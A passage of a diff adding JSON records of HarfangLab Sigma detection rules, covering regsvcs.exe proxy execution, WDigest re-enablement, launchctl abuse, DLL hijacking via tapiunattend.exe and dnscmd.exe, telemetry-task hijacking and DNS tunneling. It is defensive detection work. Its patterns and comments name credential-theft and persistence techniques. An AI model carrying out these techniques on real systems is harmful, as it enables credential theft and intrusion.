Manager\\bin\\X64\\srvboot.exe'\n            - '?:\\ConfigMgr\\bin\\X64\\srvboot.exe'\n            - '?:\\ConfigMgr\\bin\\X64\\rolesetup.exe'\n            - '?:\\SCCM\\bin\\X64\\srvboot.exe'\n            - '?:\\SCCM\\bin\\X64\\rolesetup.exe'\n        - ParentImage|endswith:\n            - '\\srvboot.exe'\n            - '\\rolesetup.exe'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n\n    exclusion_msiexec:\n        ParentImage|endswith: '\\msiexec.exe'\n        ParentCommandLine|contains:\n            - '-Embedding'\n            - 'Global\\MSI0000'\n        CommandLine|endswith: 'RegSvcs.exe /bootstrap?' # (/bootstrapu, /bootstrapi)\n\n    exclusion_ibm:\n        ParentImage|endswith: '\\amqidnet.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'IBM United Kingdom Limited'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e2e6edbb-248f-4f1e-b801-8d49da4e6072",
+  "rule_name": "Suspicious Proxy Execution via regsvcs.exe",
+  "rule_description": "Detects the execution of the legitimate Regsvcs.exe Windows binary, used to register .NET COM assemblies.\nThis may be used by attackers to load their DLL files, since regsvcs then calls the DLL's \\\"RegisterClass\\\" function.\nAWL (Application Whitelist) is a list of applications and application components that are authorized for use in an organization.\nApplication whitelisting technologies use whitelists to control which applications are permitted to execute on a host.\nThis can also be used by program installers in Windows.\nIt is recommended to investigate the DLL that was loaded into the process, as well as to analyze the parent process for malicious content or actions.\n",
+  "rule_creation_date": "2023-01-04",
+  "rule_modified_date": "2025-08-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.009"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e2eebc54-49b7-4df1-b9f9-68a14a40af77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620558Z",
+  "creation_date": "2026-03-23T11:45:34.620560Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620564Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_enable_wdigest.yml",
+  "content": "title: WDigest Authentication Package Enabled\nid: e2eebc54-49b7-4df1-b9f9-68a14a40af77\ndescription: |\n    Detects when the WDigest authentication package is re-enabled in the Windows registry.\n    WDigest is an authentication package that, when enabled, causes passwords to be stored in cleartext within the LSASS process memory, posing a significant security risk.\n    Attackers can exploit this by retrieving cleartext passwords, enabling lateral movement and data exfiltration.\n    It is recommended to investigate the source of the registry modification, verify if the enablement is legitimate, and consider disabling WDigest to mitigate the risk of password exposure.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2020/09/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.defense_evasion\n    - attack.t1003.001\n    - attack.t1112\n    - attack.t1078\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest\\UseLogonCredential'\n\n    filter_empty:\n        Details:\n            - 'DWORD (0x00000000)'\n            - '(Empty)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e2eebc54-49b7-4df1-b9f9-68a14a40af77",
+  "rule_name": "WDigest Authentication Package Enabled",
+  "rule_description": "Detects when the WDigest authentication package is re-enabled in the Windows registry.\nWDigest is an authentication package that, when enabled, causes passwords to be stored in cleartext within the LSASS process memory, posing a significant security risk.\nAttackers can exploit this by retrieving cleartext passwords, enabling lateral movement and data exfiltration.\nIt is recommended to investigate the source of the registry modification, verify if the enablement is legitimate, and consider disabling WDigest to mitigate the risk of password exposure.\n",
+  "rule_creation_date": "2020-09-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078",
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e3140523-18e2-4554-8344-2c0ae8a2854c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625614Z",
+  "creation_date": "2026-03-23T11:45:34.625616Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625620Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1569.001/T1569.001.md",
+    "https://attack.mitre.org/techniques/T1569/001/"
+  ],
+  "name": "t1569_001_launchctl_submit.yml",
+  "content": "title: Arbitrary Application Executed via Launchctl\nid: e3140523-18e2-4554-8344-2c0ae8a2854c\ndescription: |\n    Detects the usage of launchctl to execute an arbitrary application via launchd.\n    This could be used by an attacker to execute commands and programs as Launch Agents or Launch Daemons to cover their tracks.\n    It is recommended to investigate the program executed by launchctl and any malicious actions it could have taken.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1569.001/T1569.001.md\n    - https://attack.mitre.org/techniques/T1569/001/\ndate: 2022/08/31\nmodified: 2025/12/22\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1569.001\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Launchctl\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    # launchctl submit -l malicious -- /System/Applications/Calculator.app/Contents/MacOS/Calculator\n    selection:\n        Image: '/bin/launchctl'\n        # Catch /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/\n        CommandLine|contains|all:\n            - 'submit'\n            - '-l'\n            - '--'\n\n    exclusion_harfanglab:\n        - ProcessParentImage: '/Library/SystemExtensions/????????-????-????-????-????????????/fr.harfanglab.hurukai.agent.macos.systemextension/Contents/MacOS/fr.harfanglab.hurukai.agent.macos'\n        - ProcessGrandparentImage: '/Library/SystemExtensions/????????-????-????-????-????????????/fr.harfanglab.hurukai.agent.macos.systemextension/Contents/MacOS/fr.harfanglab.hurukai.agent.macos'\n\n    exclusion_hp:\n        ProcessParentImage: '/Library/Printers/hp/Frameworks/HPDeviceMonitoring.framework/Versions/*/Helpers/HP Device Monitor Manager.app/Contents/MacOS/HP Device Monitor Manager'\n\n    exclusion_logmein:\n        ProcessParentImage: '/private/var/tmp/*/Support-LogMeInRescue.app/Contents/MacOS/Support-LogMeInRescue'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e3140523-18e2-4554-8344-2c0ae8a2854c",
+  "rule_name": "Arbitrary Application Executed via Launchctl",
+  "rule_description": "Detects the usage of launchctl to execute an arbitrary application via launchd.\nThis could be used by an attacker to execute commands and programs as Launch Agents or Launch Daemons to cover their tracks.\nIt is recommended to investigate the program executed by launchctl and any malicious actions it could have taken.\n",
+  "rule_creation_date": "2022-08-31",
+  "rule_modified_date": "2025-12-22",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e33510cf-8461-47e8-bf1b-b41d65212be7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.088784Z",
+  "creation_date": "2026-03-23T11:45:34.088786Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.088790Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tapiunattend.yml",
+  "content": "title: DLL Hijacking via tapiunattend.exe\nid: e33510cf-8461-47e8-bf1b-b41d65212be7\ndescription: |\n    Detects potential Windows DLL Hijacking via tapiunattend.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tapiunattend.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\WDSCORE.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e33510cf-8461-47e8-bf1b-b41d65212be7",
+  "rule_name": "DLL Hijacking via tapiunattend.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tapiunattend.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e33f1e79-2e97-4b0b-a502-044f0da8a201",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097724Z",
+  "creation_date": "2026-03-23T11:45:34.097726Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097731Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dnscmd.yml",
+  "content": "title: DLL Hijacking via dnscmd.exe\nid: e33f1e79-2e97-4b0b-a502-044f0da8a201\ndescription: |\n    Detects potential Windows DLL Hijacking via dnscmd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dnscmd.exe'\n        ImageLoaded|endswith:\n            - '\\dnsapi.dll'\n            - '\\ncrypt.dll'\n            - '\\netapi32.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e33f1e79-2e97-4b0b-a502-044f0da8a201",
+  "rule_name": "DLL Hijacking via dnscmd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dnscmd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e344342c-978e-4bf2-b1b3-d96d716b5363",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.075012Z",
+  "creation_date": "2026-03-23T11:45:34.075015Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.075020Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_process_persistence_telemetry_hijack.yml",
+  "content": "title: Microsoft Compatibility Appraiser Scheduled Task Hijacked Process\nid: e344342c-978e-4bf2-b1b3-d96d716b5363\ndescription: |\n    Detects the hijacking of the Microsoft Compatibility Appraiser scheduled task (also known as Windows Telemetry) with a custom command.\n    This task is typically set to run once a day and requires administrative privileges, as it involves creating a new registry entry in HKLM. The malicious command is executed as a child process of CompatTelRunner.exe, a legitimate process associated with the task.\n    This rule identifies unauthorized modifications to the scheduled task, which is often used by adversaries to execute malicious payloads. The custom command can be indicative of malicious activities such as persistence, privilege escalation, or data exfiltration.\n    It is recommended to investigate the source of the modification, analyze the command-line arguments of the custom command, review the process tree to identify any suspicious behavior, and reset the scheduled task to its default configuration.\nreferences:\n    - https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2020/09/29\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Hijacking\n    - classification.Windows.Behavior.ScheduledTask\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\compattelrunner.exe'\n\n    exclusion_rundll:\n        # rundll32 C:\\Windows\\system32\\generaltel.dll,RunInUserCxt WrMEazCLDEecukhj.1 Census\n        # rundll32 C:\\Windows\\system32\\GeneralTel.dll,RunInUserCxt ZmmKYGDmyEaZ9VmQ.1.1.2 {DFF3552F-9DB5-46D6-B319-E936518CD395} {DA76D0E0-22C5-454B-97B6-406355D75C2F} IsAdmin WAMAccountCount\n        # C:\\Windows\\system32\\rundll32.exe C:\\Windows\\system32\\GeneralTel.dll,RunGeneralTelemetry -cV ka/CLOtQeUyPdoUR.1.2 -SendFullTelemetry -ThrottleUtc -TelemetryAllowed -MarkersNotAllowed\n        Image|endswith: '\\rundll32.exe'\n        CommandLine:\n            - '*generaltel.dll,RunInUserCxt *'\n            - '*generaltel.dll,RunGeneralTelemetry *'\n        # Signed: 'true'\n    exclusion_dismhost:\n        # C:\\Windows\\TEMP\\CCB5149E-DF4F-4D28-AE32-6F8E1FC5439B\\dismhost.exe {7E7BBF9D-E772-4D82-BAF9-E95D3CDCAD19}\n        Image|endswith: 'DismHost.exe'\n        # Signed: 'true'\n    exclusion_powershell:\n        # powershell.exe -ExecutionPolicy Restricted -Command \"$Res = 0; $VDisks = (Get-VirtualDisk | Where-Object ResiliencySettingName -eq Parity); if ($null -ne $VDisks) { $Res = 1 }; Write-Host 'Final result:',$Res;\"\n        # powershell.exe C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\tpowershell.exe -ExecutionPolicy Restricted -Command Write-Host \"Final result: 1\";\n        Image|endswith: '\\powershell.exe'\n        # Signed: 'true'\n        CommandLine|contains: ' -ExecutionPolicy Restricted -Command '\n    exclusion_conhost:\n        # C:\\Windows\\System32\\conhost.exe\n        Image|contains: 'Windows\\system32\\conhost.exe'\n        # Signed: 'true'\n    exclusion_compattelrunner:\n        # C:\\Windows\\system32\\compattelrunner.exe -m:GeneralTel.dll -f:RunGeneralTelemetry -cV vCoyb+WnQE6Jl8PV.1.2 -SendFullTelemetry -ThrottleUtc\n        Image:\n            - '*\\system32\\compattelrunner.exe'\n            # 'c:\\Windows\\winsxs\\amd64_microsoft-windows-a..xperience-inventory_31bf3856ad364e35_6.1.7601.24535_none_e8e44c62fea3e082\\CompatTelRunner.exe'\n            - '?:\\Windows\\winsxs\\amd64_microsoft-windows*\\CompatTelRunner.exe'\n            - '?:\\Windows\\winsxs\\x86_microsoft-windows-*\\CompatTelRunner.exe'\n        # Signed: 'true'\n    exclusion_werfault:\n        # C:\\Windows\\system32\\WerFault.exe -u -p 7064 -s 480\n        Image|endswith:\n            - '\\system32\\WerFault.exe'\n            - '\\syswow64\\WerFault.exe'\n        # Signed: 'true'\n    exclusion_devicecensus:\n        # C:\\Windows\\system32\\devicecensus.exe\n        Image|endswith: '\\system32\\devicecensus.exe'\n        # Signed: 'true'\n    exclusion_diagtrackrunner:\n        Image|endswith: '\\windows\\system32\\compattel\\DiagTrackRunner.exe'\n    exclusion_aitstatic:\n        # Application Impact Telemetry Static Analyzer (by microsoft)\n        Image|endswith:  '\\Windows\\System32\\aitstatic.exe'\n    exclusion_solidworks:\n        Image:\n            - '?:\\Program Files\\SOLIDWORKS Corp\\SOLIDWORKS PDM\\EdmServer.exe'\n            # C:\\Program Files\\SOLIDWORKS 2018\\SOLIDWORKS PDM\\EdmServer.exe\n            - '?:\\Program Files\\SOLIDWORKS 20??\\SOLIDWORKS PDM\\EdmServer.exe'\n    exclusion_unknown_diag:\n        # batch of those 3 commands\n        CommandLine:\n            - 'dxdiag /t ?:\\WINDOWS\\Temp\\InboxUtilityMP_{47ecb557-ef86-450e-a01d-d2cc01e6b7aa}_dxdiag.txt'\n            - 'powercfg /list'\n            - 'ipconfig /all'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e344342c-978e-4bf2-b1b3-d96d716b5363",
+  "rule_name": "Microsoft Compatibility Appraiser Scheduled Task Hijacked Process",
+  "rule_description": "Detects the hijacking of the Microsoft Compatibility Appraiser scheduled task (also known as Windows Telemetry) with a custom command.\nThis task is typically set to run once a day and requires administrative privileges, as it involves creating a new registry entry in HKLM. The malicious command is executed as a child process of CompatTelRunner.exe, a legitimate process associated with the task.\nThis rule identifies unauthorized modifications to the scheduled task, which is often used by adversaries to execute malicious payloads. The custom command can be indicative of malicious activities such as persistence, privilege escalation, or data exfiltration.\nIt is recommended to investigate the source of the modification, analyze the command-line arguments of the custom command, review the process tree to identify any suspicious behavior, and reset the scheduled task to its default configuration.\n",
+  "rule_creation_date": "2020-09-29",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e35d4489-1f45-4352-8c90-aee45e3ae5b9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603154Z",
+  "creation_date": "2026-03-23T11:45:34.603157Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603165Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/",
+    "https://attack.mitre.org/techniques/T1048/003/",
+    "https://attack.mitre.org/techniques/T1568/003/"
+  ],
+  "name": "t1071_004_long_dns_request.yml",
+  "content": "title: Abnormally Long DNS Name Resolved (Windows)\nid: e35d4489-1f45-4352-8c90-aee45e3ae5b9\ndescription: |\n    Detects an abnormally long DNS query that are usually associated with DNS tunneling.\n    Adversaries may use DNS protocol to communicate with their C&C.\n    It is recommended to check the content of the request and for suspicious behavior by the process making the request.\nreferences:\n    - https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/\n    - https://attack.mitre.org/techniques/T1048/003/\n    - https://attack.mitre.org/techniques/T1568/003/\ndate: 2024/09/26\nmodified: 2025/09/09\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071.004\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Exfiltration\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        Image|contains: '?'\n        QueryName|re: '[a-zA-Z0-9.-]{255}'\n\n    filter_space:\n        QueryName|re: ' {150}'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_svchost:\n        ProcessCommandLine: '?:\\WINDOWS\\System32\\svchost.exe -k HPZ12'\n\n    exclusion_securitygateway:\n        ProcessImage|endswith: '\\SecurityGateway\\App\\SecurityGateway.exe'\n        ProcessSigned: 'true'\n        